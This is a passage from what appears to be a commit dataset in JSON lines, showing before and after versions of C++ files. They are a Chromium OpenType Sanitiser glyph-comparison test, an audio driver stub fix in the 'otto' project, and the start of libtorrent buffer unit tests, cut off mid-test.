(bbox.yMax + 63) & ~63;\n  FT_Outline_Translate(outline, -bbox.xMin, -bbox.yMin);\n\n  const int w = (bbox.xMax - bbox.xMin) >> 6;\n  const int h = (bbox.yMax - bbox.yMin) >> 6;\n\n  if (w == 0 || h == 0) {\n    return -1;  \/\/ white space\n  }\n  if (w < 0 || h < 0) {\n    std::fprintf(stderr, \"bad width\/height\\n\");\n    return 1;  \/\/ error\n  }\n\n  uint8_t *buf = new uint8_t[w * h];\n  std::memset(buf, 0x0, w * h);\n\n  bitmap->width = w;\n  bitmap->rows = h;\n  bitmap->pitch = w;\n  bitmap->buffer = buf;\n  bitmap->pixel_mode = FT_PIXEL_MODE_GRAY;\n  bitmap->num_grays = 256;\n  if (FT_Outline_Get_Bitmap(library, outline, bitmap)) {\n    std::fprintf(stderr, \"can't get outline\\n\");\n    delete[] buf;\n    return 1;  \/\/ error.\n  }\n\n  return 0;\n}\n\nint LoadChar(FT_Face face, bool use_bitmap, int pt, FT_ULong c) {\n  static const int kDpi = 72;\n\n  FT_Matrix matrix;\n  matrix.xx = matrix.yy = 1 << 16;\n  matrix.xy = matrix.yx = 0 << 16;\n\n  FT_Int32 flags = FT_LOAD_DEFAULT | FT_LOAD_TARGET_NORMAL;\n  if (!use_bitmap) {\n    \/\/ Since the transcoder drops embedded bitmaps from the transcoded one,\n    \/\/ we have to use FT_LOAD_NO_BITMAP flag for the original face.\n    flags |= FT_LOAD_NO_BITMAP;\n  }\n\n  FT_Error error = FT_Set_Char_Size(face, pt * (1 << 6), 0, kDpi, 0);\n  if (error) {\n    std::fprintf(stderr, \"Failed to set the char size!\\n\");\n    return 1;\n  }\n\n  FT_Set_Transform(face, &matrix, 0);\n\n  error = FT_Load_Char(face, c, flags);\n  if (error) return -1;  \/\/ no such glyf in the font.\n\n  if (face->glyph->format != FT_GLYPH_FORMAT_OUTLINE) {\n    std::fprintf(stderr, \"bad format\\n\");\n    return 1;\n  }\n\n  return 0;\n}\n\nint LoadCharThenCompare(FT_Library library,\n                        FT_Face orig_face, FT_Face trans_face,\n                        int pt, FT_ULong c) {\n  FT_Bitmap orig_bitmap, trans_bitmap;\n\n  \/\/ Load original bitmap.\n  int ret = LoadChar(orig_face, false, pt, c);\n  if (ret) return ret;  \/\/ 1: error, -1: no such glyph\n\n  FT_Outline *outline = &orig_face->glyph->outline;\n  ret = GetBitmap(library, outline, &orig_bitmap);\n  if (ret) return ret;  \/\/ white space?\n\n  \/\/ Load transformed bitmap.\n  ret = LoadChar(trans_face, true, pt, c);\n  if (ret == -1) {\n    std::fprintf(stderr, \"the glyph is not found on the transcoded font\\n\");\n  }\n  if (ret) return 1;  \/\/ -1 should be treated as error.\n  outline = &trans_face->glyph->outline;\n  ret = GetBitmap(library, outline, &trans_bitmap);\n  if (ret) return ret;  \/\/ white space?\n\n  return CompareBitmaps(&orig_bitmap, &trans_bitmap);\n}\n\nint SideBySide(FT_Library library, const char *file_name,\n               uint8_t *orig_font, size_t orig_len,\n               uint8_t *trans_font, size_t trans_len) {\n  FT_Face orig_face;\n  FT_Error error\n      = FT_New_Memory_Face(library, orig_font, orig_len, 0, &orig_face);\n  if (error) {\n    std::fprintf(stderr, \"Failed to open the original font: %s!\\n\", file_name);\n    return 1;\n  }\n\n  FT_Face trans_face;\n  error = FT_New_Memory_Face(library, trans_font, trans_len, 0, &trans_face);\n  if (error) {\n    std::fprintf(stderr, \"Failed to open the transcoded font: %s!\\n\",\n                 file_name);\n    return 1;\n  }\n\n  static const int kPts[] = {100, 20, 18, 16, 12, 10, 8};  \/\/ pt\n  static const size_t kPtsLen = sizeof(kPts) \/ sizeof(kPts[0]);\n\n  static const int kUnicodeRanges[] = {\n    0x0020, 0x007E,  \/\/ Basic Latin (ASCII)\n    0x00A1, 0x017F,  \/\/ Latin-1\n    0x1100, 0x11FF,  \/\/ Hangul\n    0x3040, 0x309F,  \/\/ Japanese HIRAGANA letters\n    0x3130, 0x318F,  \/\/ Hangul\n    0x4E00, 0x4F00,  \/\/ CJK Kanji\/Hanja\n    0xAC00, 0xAD00,  \/\/ Hangul\n  };\n  static const size_t kUnicodeRangesLen\n      = sizeof(kUnicodeRanges) \/ sizeof(kUnicodeRanges[0]);\n\n  for (size_t i = 0; i < kPtsLen; ++i) {\n    for (size_t j = 0; j < kUnicodeRangesLen; j += 2) {\n      for (int k = 0; k <= kUnicodeRanges[j + 1] - kUnicodeRanges[j]; ++k) {\n        int ret = LoadCharThenCompare(library, orig_face, trans_face,\n                                      kPts[i],\n                                      kUnicodeRanges[j] + k);\n        if (ret > 0) {\n          std::fprintf(stderr, \"Glyph mismatch! (file: %s, U+%04x, %dpt)!\\n\",\n                       file_name, kUnicodeRanges[j] + k, kPts[i]);\n          return 1;\n        }\n      }\n    }\n  }\n\n  return 0;\n}\n\n}  \/\/ namespace\n\nint main(int argc, char **argv) {\n  if (argc != 2) {\n    std::fprintf(stderr, \"Usage: %s ttf_or_otf_filename\\n\", argv[0]);\n    return 1;\n  }\n\n  \/\/ load the font to memory.\n  const int fd = ::open(argv[1], O_RDONLY);\n  if (fd < 0) {\n    ::perror(\"open\");\n    return 1;\n  }\n\n  struct stat st;\n  ::fstat(fd, &st);\n  const off_t orig_len = st.st_size;\n\n  uint8_t *orig_font = new uint8_t[orig_len];\n  if (::read(fd, orig_font, orig_len) != orig_len) {\n    std::fprintf(stderr, \"Failed to read file!\\n\");\n    return 1;\n  }\n  ::close(fd);\n\n  \/\/ check if FreeType2 can open the original font.\n  FT_Library library;\n  FT_Error error = FT_Init_FreeType(&library);\n  if (error) {\n    std::fprintf(stderr, \"Failed to initialize FreeType2!\\n\");\n    return 1;\n  }\n  FT_Face dummy;\n  error = FT_New_Memory_Face(library, orig_font, orig_len, 0, &dummy);\n  if (error) {\n    std::fprintf(stderr, \"Failed to open the original font with FT2! %s\\n\",\n                 argv[1]);\n    return 1;\n  }\n\n  \/\/ transcode the original font.\n  static const size_t kPadLen = 20 * 1024;\n  uint8_t *trans_font = new uint8_t[orig_len + kPadLen];\n  ots::MemoryStream output(trans_font, orig_len + kPadLen);\n  ots::OTSContext context;\n\n  bool result = context.Process(&output, orig_font, orig_len);\n  if (!result) {\n    std::fprintf(stderr, \"Failed to sanitise file! %s\\n\", argv[1]);\n    return 1;\n  }\n  const size_t trans_len = output.Tell();\n\n  \/\/ perform side-by-side tests.\n  return SideBySide(library, argv[1],\n                    orig_font, orig_len,\n                    trans_font, trans_len);\n}\n<commit_msg>[tests] -Werror -Wsign-compare<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <fcntl.h>\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include FT_OUTLINE_H\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"opentype-sanitiser.h\"\n#include \"ots-memory-stream.h\"\n\nnamespace {\n\nvoid DumpBitmap(const FT_Bitmap *bitmap) {\n  for (unsigned int i = 0; i < bitmap->rows * bitmap->width; ++i) {\n    if (bitmap->buffer[i] > 192) {\n      std::fprintf(stderr, \"#\");\n    } else if (bitmap->buffer[i] > 128) {\n      std::fprintf(stderr, \"*\");\n    } else if (bitmap->buffer[i] > 64) {\n      std::fprintf(stderr, \"+\");\n    } else if (bitmap->buffer[i] > 32) {\n      std::fprintf(stderr, \".\");\n    } else {\n      std::fprintf(stderr, \" \");\n    }\n\n    if ((i + 1) % bitmap->width == 0) {\n      std::fprintf(stderr, \"\\n\");\n    }\n  }\n}\n\nint CompareBitmaps(const FT_Bitmap *orig, const FT_Bitmap *trans) {\n  int ret = 0;\n\n  if (orig->width == trans->width &&\n      orig->rows == trans->rows) {\n    for (unsigned int i = 0; i < orig->rows * orig->width; ++i) {\n      if (orig->buffer[i] != trans->buffer[i]) {\n        std::fprintf(stderr, \"bitmap data doesn't match!\\n\");\n        ret = 1;\n        break;\n      }\n    }\n  } else {\n    std::fprintf(stderr, \"bitmap metrics doesn't match! (%d, %d), (%d, %d)\\n\",\n                 orig->width, orig->rows, trans->width, trans->rows);\n    ret = 1;\n  }\n\n  if (ret) {\n    std::fprintf(stderr, \"EXPECTED:\\n\");\n    DumpBitmap(orig);\n    std::fprintf(stderr, \"\\nACTUAL:\\n\");\n    DumpBitmap(trans);\n    std::fprintf(stderr, \"\\n\\n\");\n  }\n\n  delete[] orig->buffer;\n  delete[] trans->buffer;\n  return ret;\n}\n\nint GetBitmap(FT_Library library, FT_Outline *outline, FT_Bitmap *bitmap) {\n  FT_BBox bbox;\n  FT_Outline_Get_CBox(outline, &bbox);\n\n  bbox.xMin &= ~63;\n  bbox.yMin &= ~63;\n  bbox.xMax = (bbox.xMax + 63) & ~63;\n  bbox.yMax = (bbox.yMax + 63) & ~63;\n  FT_Outline_Translate(outline, -bbox.xMin, -bbox.yMin);\n\n  const int w = (bbox.xMax - bbox.xMin) >> 6;\n  const int h = (bbox.yMax - bbox.yMin) >> 6;\n\n  if (w == 0 || h == 0) {\n    return -1;  \/\/ white space\n  }\n  if (w < 0 || h < 0) {\n    std::fprintf(stderr, \"bad width\/height\\n\");\n    return 1;  \/\/ error\n  }\n\n  uint8_t *buf = new uint8_t[w * h];\n  std::memset(buf, 0x0, w * h);\n\n  bitmap->width = w;\n  bitmap->rows = h;\n  bitmap->pitch = w;\n  bitmap->buffer = buf;\n  bitmap->pixel_mode = FT_PIXEL_MODE_GRAY;\n  bitmap->num_grays = 256;\n  if (FT_Outline_Get_Bitmap(library, outline, bitmap)) {\n    std::fprintf(stderr, \"can't get outline\\n\");\n    delete[] buf;\n    return 1;  \/\/ error.\n  }\n\n  return 0;\n}\n\nint LoadChar(FT_Face face, bool use_bitmap, int pt, FT_ULong c) {\n  static const int kDpi = 72;\n\n  FT_Matrix matrix;\n  matrix.xx = matrix.yy = 1 << 16;\n  matrix.xy = matrix.yx = 0 << 16;\n\n  FT_Int32 flags = FT_LOAD_DEFAULT | FT_LOAD_TARGET_NORMAL;\n  if (!use_bitmap) {\n    \/\/ Since the transcoder drops embedded bitmaps from the transcoded one,\n    \/\/ we have to use FT_LOAD_NO_BITMAP flag for the original face.\n    flags |= FT_LOAD_NO_BITMAP;\n  }\n\n  FT_Error error = FT_Set_Char_Size(face, pt * (1 << 6), 0, kDpi, 0);\n  if (error) {\n    std::fprintf(stderr, \"Failed to set the char size!\\n\");\n    return 1;\n  }\n\n  FT_Set_Transform(face, &matrix, 0);\n\n  error = FT_Load_Char(face, c, flags);\n  if (error) return -1;  \/\/ no such glyf in the font.\n\n  if (face->glyph->format != FT_GLYPH_FORMAT_OUTLINE) {\n    std::fprintf(stderr, \"bad format\\n\");\n    return 1;\n  }\n\n  return 0;\n}\n\nint LoadCharThenCompare(FT_Library library,\n                        FT_Face orig_face, FT_Face trans_face,\n                        int pt, FT_ULong c) {\n  FT_Bitmap orig_bitmap, trans_bitmap;\n\n  \/\/ Load original bitmap.\n  int ret = LoadChar(orig_face, false, pt, c);\n  if (ret) return ret;  \/\/ 1: error, -1: no such glyph\n\n  FT_Outline *outline = &orig_face->glyph->outline;\n  ret = GetBitmap(library, outline, &orig_bitmap);\n  if (ret) return ret;  \/\/ white space?\n\n  \/\/ Load transformed bitmap.\n  ret = LoadChar(trans_face, true, pt, c);\n  if (ret == -1) {\n    std::fprintf(stderr, \"the glyph is not found on the transcoded font\\n\");\n  }\n  if (ret) return 1;  \/\/ -1 should be treated as error.\n  outline = &trans_face->glyph->outline;\n  ret = GetBitmap(library, outline, &trans_bitmap);\n  if (ret) return ret;  \/\/ white space?\n\n  return CompareBitmaps(&orig_bitmap, &trans_bitmap);\n}\n\nint SideBySide(FT_Library library, const char *file_name,\n               uint8_t *orig_font, size_t orig_len,\n               uint8_t *trans_font, size_t trans_len) {\n  FT_Face orig_face;\n  FT_Error error\n      = FT_New_Memory_Face(library, orig_font, orig_len, 0, &orig_face);\n  if (error) {\n    std::fprintf(stderr, \"Failed to open the original font: %s!\\n\", file_name);\n    return 1;\n  }\n\n  FT_Face trans_face;\n  error = FT_New_Memory_Face(library, trans_font, trans_len, 0, &trans_face);\n  if (error) {\n    std::fprintf(stderr, \"Failed to open the transcoded font: %s!\\n\",\n                 file_name);\n    return 1;\n  }\n\n  static const int kPts[] = {100, 20, 18, 16, 12, 10, 8};  \/\/ pt\n  static const size_t kPtsLen = sizeof(kPts) \/ sizeof(kPts[0]);\n\n  static const int kUnicodeRanges[] = {\n    0x0020, 0x007E,  \/\/ Basic Latin (ASCII)\n    0x00A1, 0x017F,  \/\/ Latin-1\n    0x1100, 0x11FF,  \/\/ Hangul\n    0x3040, 0x309F,  \/\/ Japanese HIRAGANA letters\n    0x3130, 0x318F,  \/\/ Hangul\n    0x4E00, 0x4F00,  \/\/ CJK Kanji\/Hanja\n    0xAC00, 0xAD00,  \/\/ Hangul\n  };\n  static const size_t kUnicodeRangesLen\n      = sizeof(kUnicodeRanges) \/ sizeof(kUnicodeRanges[0]);\n\n  for (size_t i = 0; i < kPtsLen; ++i) {\n    for (size_t j = 0; j < kUnicodeRangesLen; j += 2) {\n      for (int k = 0; k <= kUnicodeRanges[j + 1] - kUnicodeRanges[j]; ++k) {\n        int ret = LoadCharThenCompare(library, orig_face, trans_face,\n                                      kPts[i],\n                                      kUnicodeRanges[j] + k);\n        if (ret > 0) {\n          std::fprintf(stderr, \"Glyph mismatch! (file: %s, U+%04x, %dpt)!\\n\",\n                       file_name, kUnicodeRanges[j] + k, kPts[i]);\n          return 1;\n        }\n      }\n    }\n  }\n\n  return 0;\n}\n\n}  \/\/ namespace\n\nint main(int argc, char **argv) {\n  if (argc != 2) {\n    std::fprintf(stderr, \"Usage: %s ttf_or_otf_filename\\n\", argv[0]);\n    return 1;\n  }\n\n  \/\/ load the font to memory.\n  const int fd = ::open(argv[1], O_RDONLY);\n  if (fd < 0) {\n    ::perror(\"open\");\n    return 1;\n  }\n\n  struct stat st;\n  ::fstat(fd, &st);\n  const off_t orig_len = st.st_size;\n\n  uint8_t *orig_font = new uint8_t[orig_len];\n  if (::read(fd, orig_font, orig_len) != orig_len) {\n    std::fprintf(stderr, \"Failed to read file!\\n\");\n    return 1;\n  }\n  ::close(fd);\n\n  \/\/ check if FreeType2 can open the original font.\n  FT_Library library;\n  FT_Error error = FT_Init_FreeType(&library);\n  if (error) {\n    std::fprintf(stderr, \"Failed to initialize FreeType2!\\n\");\n    return 1;\n  }\n  FT_Face dummy;\n  error = FT_New_Memory_Face(library, orig_font, orig_len, 0, &dummy);\n  if (error) {\n    std::fprintf(stderr, \"Failed to open the original font with FT2! %s\\n\",\n                 argv[1]);\n    return 1;\n  }\n\n  \/\/ transcode the original font.\n  static const size_t kPadLen = 20 * 1024;\n  uint8_t *trans_font = new uint8_t[orig_len + kPadLen];\n  ots::MemoryStream output(trans_font, orig_len + kPadLen);\n  ots::OTSContext context;\n\n  bool result = context.Process(&output, orig_font, orig_len);\n  if (!result) {\n    std::fprintf(stderr, \"Failed to sanitise file! %s\\n\", argv[1]);\n    return 1;\n  }\n  const size_t trans_len = output.Tell();\n\n  \/\/ perform side-by-side tests.\n  return SideBySide(library, argv[1],\n                    orig_font, orig_len,\n                    trans_font, trans_len);\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <thread>\n\n#include \"lib\/chrono.hpp\"\n#include \"lib\/core\/service.hpp\"\n\n#include \"app\/drivers\/audio_driver.hpp\"\n#include \"app\/services\/runtime.hpp\"\n\nnamespace otto::stubs {\n  struct NoProcessAudioDriver final : drivers::IAudioDriver {\n    void set_callback(Callback&& cb) override\n    {\n      callback = std::move(cb);\n    }\n    void start() override {}\n    void stop() override {}\n    [[nodiscard]] std::size_t buffer_size() const override\n    {\n      return 64;\n    }\n    [[nodiscard]] std::size_t sample_rate() const override\n    {\n      return 44100;\n    }\n\n    Callback callback;\n  };\n\n  struct DummyAudioDriver final : drivers::IAudioDriver {\n    DummyAudioDriver()\n    {\n      buffers_.resize(buffer_size() * 4);\n    }\n    void set_callback(Callback&& cb) override\n    {\n      callback_ = std::move(cb);\n    }\n    void start() override\n    {\n      thread_ = std::jthread([this](std::stop_token stopper) {\n        auto input_buf = util::stereo_audio_buffer(\n          util::audio_buffer(std::span(buffers_.data() + 0 * buffer_size(), buffer_size()), nullptr),\n          util::audio_buffer(std::span(buffers_.data() + 1 * buffer_size(), buffer_size()), nullptr));\n        auto output_buf = util::stereo_audio_buffer(\n          util::audio_buffer(std::span(buffers_.data() + 2 * buffer_size(), buffer_size()), nullptr),\n          util::audio_buffer(std::span(buffers_.data() + 3 * buffer_size(), buffer_size()), nullptr));\n        CallbackData cbd = {\n          .input = input_buf,\n          .output = output_buf,\n        };\n        while (runtime->should_run() && !stopper.stop_requested()) {\n          callback_(cbd);\n          std::this_thread::sleep_for(chrono::nanoseconds((1ns \/ 1s) * buffer_size() \/ sample_rate()));\n        }\n      });\n    }\n    void stop() override\n    {\n      thread_.request_stop();\n      thread_.join();\n    }\n    [[nodiscard]] std::size_t buffer_size() const override\n    {\n      return 64;\n    }\n    [[nodiscard]] std::size_t sample_rate() const override\n    {\n      return 44100;\n    }\n\n  private:\n    std::vector<float> buffers_;\n    [[no_unique_address]] core::ServiceAccessor<services::Runtime> runtime;\n    Callback callback_;\n    std::jthread thread_;\n  };\n\n} \/\/ namespace otto::stubs\n<commit_msg>Fix DummyAudioDriver::stop<commit_after>#pragma once\n\n#include <thread>\n\n#include \"lib\/chrono.hpp\"\n#include \"lib\/core\/service.hpp\"\n\n#include \"app\/drivers\/audio_driver.hpp\"\n#include \"app\/services\/runtime.hpp\"\n\nnamespace otto::stubs {\n  struct NoProcessAudioDriver final : drivers::IAudioDriver {\n    void set_callback(Callback&& cb) override\n    {\n      callback = std::move(cb);\n    }\n    void start() override {}\n    void stop() override {}\n    [[nodiscard]] std::size_t buffer_size() const override\n    {\n      return 64;\n    }\n    [[nodiscard]] std::size_t sample_rate() const override\n    {\n      return 44100;\n    }\n\n    Callback callback;\n  };\n\n  struct DummyAudioDriver final : drivers::IAudioDriver {\n    DummyAudioDriver()\n    {\n      buffers_.resize(buffer_size() * 4);\n    }\n    void set_callback(Callback&& cb) override\n    {\n      callback_ = std::move(cb);\n    }\n    void start() override\n    {\n      thread_ = std::jthread([this](std::stop_token stopper) {\n        auto input_buf = util::stereo_audio_buffer(\n          util::audio_buffer(std::span(buffers_.data() + 0 * buffer_size(), buffer_size()), nullptr),\n          util::audio_buffer(std::span(buffers_.data() + 1 * buffer_size(), buffer_size()), nullptr));\n        auto output_buf = util::stereo_audio_buffer(\n          util::audio_buffer(std::span(buffers_.data() + 2 * buffer_size(), buffer_size()), nullptr),\n          util::audio_buffer(std::span(buffers_.data() + 3 * buffer_size(), buffer_size()), nullptr));\n        CallbackData cbd = {\n          .input = input_buf,\n          .output = output_buf,\n        };\n        while (runtime->should_run() && !stopper.stop_requested()) {\n          callback_(cbd);\n          std::this_thread::sleep_for(chrono::nanoseconds((1ns \/ 1s) * buffer_size() \/ sample_rate()));\n        }\n      });\n    }\n    void stop() override\n    {\n      thread_.request_stop();\n      if (thread_.joinable()) thread_.join();\n    }\n    [[nodiscard]] std::size_t buffer_size() const override\n    {\n      return 64;\n    }\n    [[nodiscard]] std::size_t sample_rate() const override\n    {\n      return 44100;\n    }\n\n  private:\n    std::vector<float> buffers_;\n    [[no_unique_address]] core::ServiceAccessor<services::Runtime> runtime;\n    Callback callback_;\n    std::jthread thread_;\n  };\n\n} \/\/ namespace otto::stubs\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tCopyright (c) 2003 - 2005, Arvid Norberg, Daniel Wallin\n\tAll rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions\n\tare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of Rasterbar Software nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cassert>\n#include <boost\/timer.hpp>\n#include <iostream>\n#include <vector>\n#include <utility>\n#include <set>\n\n#include \"libtorrent\/buffer.hpp\"\n#include \"libtorrent\/chained_buffer.hpp\"\n\n#include \"test.hpp\"\n\nusing libtorrent::buffer;\nusing libtorrent::chained_buffer;\n\n\/*\ntemplate<class T>\nT const& min_(T const& x, T const& y)\n{\n\treturn x < y ? x : y;\n}\n\nvoid test_speed()\n{\n\tbuffer b;\n\n\tchar data[32];\n\n\tsrand(0);\n\n\tboost::timer t;\n\n\tint const iterations = 5000000;\n\tint const step = iterations \/ 20;\n\n\tfor (int i = 0; i < iterations; ++i)\n\t{\n\t\tint x = rand();\n\n\t\tif (i % step == 0) std::cerr << \".\";\n\n\t\tstd::size_t n = rand() % 32;\n\t\tn = 32;\n\n\t\tif (x % 2)\n\t\t{\n\t\t\tb.insert(data, data + n);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tb.erase(min_(b.size(), n));\n\t\t}\n\t}\n\n\tfloat t1 = t.elapsed();\n\tstd::cerr << \"buffer elapsed: \" << t.elapsed() << \"\\n\";\n\n\tstd::vector<char> v;\n\n\tsrand(0);\n\tt.restart();\n\n\tfor (int i = 0; i < iterations; ++i)\n\t{\n\t\tint x = rand();\n\n\t\tif (i % step == 0) std::cerr << \".\";\n\n\t\tstd::size_t n = rand() % 32;\n\t\tn = 32;\n\n\t\tif (x % 2)\n\t\t{\n\t\t\tv.insert(v.end(), data, data + n);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tv.erase(v.begin(), v.begin() + min_(v.size(), n));\n\t\t}\n\t}\n\n\tfloat t2 = t.elapsed();\n\tstd::cerr << \"std::vector elapsed: \" << t.elapsed() << \"\\n\";\n\n\tassert(t1 < t2);\n}\n*\/\n\n\/\/ -- test buffer --\n\nvoid test_buffer()\n{\n\tchar data[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n\n\tbuffer b;\n\n\tTEST_CHECK(b.size() == 0);\n\tTEST_CHECK(b.capacity() == 0);\n\tTEST_CHECK(b.empty());\n\t\n\tb.resize(10);\n\tTEST_CHECK(b.size() == 10);\n\tTEST_CHECK(b.capacity() == 10);\n\t\n\tstd::memcpy(b.begin(), data, 10);\n\tb.reserve(50);\n\tTEST_CHECK(std::memcmp(b.begin(), data, 10) == 0);\n\tTEST_CHECK(b.capacity() == 50);\n\t\n\tb.erase(b.begin() + 6, b.end());\n\tTEST_CHECK(std::memcmp(b.begin(), data, 6) == 0);\n\tTEST_CHECK(b.capacity() == 50);\n\tTEST_CHECK(b.size() == 6);\n\n\tb.insert(b.begin(), data + 5, data + 10);\n\tTEST_CHECK(b.capacity() == 50);\n\tTEST_CHECK(b.size() == 11);\n\tTEST_CHECK(std::memcmp(b.begin(), data + 5, 5) == 0);\n\n\tb.clear();\n\tTEST_CHECK(b.size() == 0);\n\tTEST_CHECK(b.capacity() == 50);\n\n\tb.insert(b.end(), data, data + 10);\n\tTEST_CHECK(b.size() == 10);\n\tTEST_CHECK(std::memcmp(b.begin(), data, 10) == 0);\n\t\n\tb.erase(b.begin(), b.end());\n\tTEST_CHECK(b.capacity() == 50);\n\tTEST_CHECK(b.size() == 0);\n\n\tbuffer().swap(b);\n\tTEST_CHECK(b.capacity() == 0);\n\n}\n\n\/\/ -- test chained buffer --\n\nstd::set<char*> buffer_list;\n\nvoid free_buffer(char* m)\n{\n\tstd::set<char*>::iterator i = buffer_list.find(m);\n\tTEST_CHECK(i != buffer_list.end());\n\n\tbuffer_list.erase(i);\n\tstd::free(m);\n}\n\nchar* allocate_buffer(int size)\n{\n\tchar* mem = (char*)std::malloc(size);\n\tbuffer_list.insert(mem);\n\treturn mem;\n}\n\ntemplate <class T>\nint copy_buffers(T const& b, char* target)\n{\n\tint copied = 0;\n\tfor (typename T::const_iterator i = b.begin()\n\t\t, end(b.end()); i != end; ++i)\n\t{\n\t\tmemcpy(target, asio::buffer_cast<char const*>(*i), asio::buffer_size(*i));\n\t\ttarget += asio::buffer_size(*i);\n\t\tcopied += asio::buffer_size(*i);\n\t}\n\treturn copied;\n}\n\nbool compare_chained_buffer(chained_buffer& b, char const* mem, int size)\n{\n\tstd::vector<char> flat(size);\n\tstd::list<asio::const_buffer> const& iovec2 = b.build_iovec(size);\n\tint copied = copy_buffers(iovec2, &flat[0]);\n\tTEST_CHECK(copied == size);\n\treturn std::memcmp(&flat[0], mem, size) == 0;\n}\n\nvoid test_chained_buffer()\n{\n\tchar data[] = \"foobar\";\n\t{\n\t\tchained_buffer b;\n\t\t\n\t\tTEST_CHECK(b.empty());\n\t\tTEST_CHECK(b.capacity() == 0);\n\t\tTEST_CHECK(b.size() == 0);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 0);\n\t\tTEST_CHECK(buffer_list.empty());\n\n\t\tchar* b1 = allocate_buffer(512);\n\t\tstd::memcpy(b1, data, 6);\n\t\tb.append_buffer(b1, 512, 6, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(buffer_list.size() == 1);\n\n\t\tTEST_CHECK(b.capacity() == 512);\n\t\tTEST_CHECK(b.size() == 6);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tb.pop_front(3);\n\n\t\tTEST_CHECK(b.capacity() == 512);\n\t\tTEST_CHECK(b.size() == 3);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tbool ret = b.append(data, 6);\n\n\t\tTEST_CHECK(ret == true);\n\t\tTEST_CHECK(b.capacity() == 512);\n\t\tTEST_CHECK(b.size() == 9);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 12);\n\n\t\tret = b.append(data, 1024);\n\n\t\tTEST_CHECK(ret == false);\n\n\t\tchar* b2 = allocate_buffer(512);\n\t\tstd::memcpy(b2, data, 6);\n\t\tb.append_buffer(b2, 512, 6, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(buffer_list.size() == 2);\n\n\t\tchar* b3 = allocate_buffer(512);\n\t\tstd::memcpy(b3, data, 6);\n\t\tb.append_buffer(b3, 512, 6, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(buffer_list.size() == 3);\n\n\t\tTEST_CHECK(b.capacity() == 512 * 3);\n\t\tTEST_CHECK(b.size() == 21);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tTEST_CHECK(compare_chained_buffer(b, \"barfoobar\", 9));\n\n\t\tfor (int i = 1; i < 21; ++i)\n\t\t\tTEST_CHECK(compare_chained_buffer(b, \"barfoobarfoobarfoobar\", i));\n\n\t\tb.pop_front(5 + 6);\n\n\t\tTEST_CHECK(buffer_list.size() == 2);\n\t\tTEST_CHECK(b.capacity() == 512 * 2);\n\t\tTEST_CHECK(b.size() == 10);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tchar const* str = \"obarfooba\";\n\t\tTEST_CHECK(compare_chained_buffer(b, str, 9));\n\n\t\tfor (int i = 0; i < 9; ++i)\n\t\t{\n\t\t\tb.pop_front(1);\n\t\t\t++str;\n\t\t\tTEST_CHECK(compare_chained_buffer(b, str, 8 - i));\n\t\t\tTEST_CHECK(b.size() == 9 - i);\n\t\t}\n\n\t\tchar* b4 = allocate_buffer(20);\n\t\tstd::memcpy(b4, data, 6);\n\t\tstd::memcpy(b4 + 6, data, 6);\n\t\tb.append_buffer(b4, 20, 12, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 8);\n\n\t\tret = b.append(data, 6);\n\t\tTEST_CHECK(ret == true);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 2);\n\t\tstd::cout << b.space_in_last_buffer() << std::endl;\n\t\tret = b.append(data, 2);\n\t\tTEST_CHECK(ret == true);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 0);\n\t\tstd::cout << b.space_in_last_buffer() << std::endl;\n\t\t\n\t\tchar* b5 = allocate_buffer(20);\n\t\tstd::memcpy(b4, data, 6);\n\t\tb.append_buffer(b5, 20, 6, (void(*)(char*))&free_buffer);\n\n\t\tb.pop_front(22);\n\t\tTEST_CHECK(b.size() == 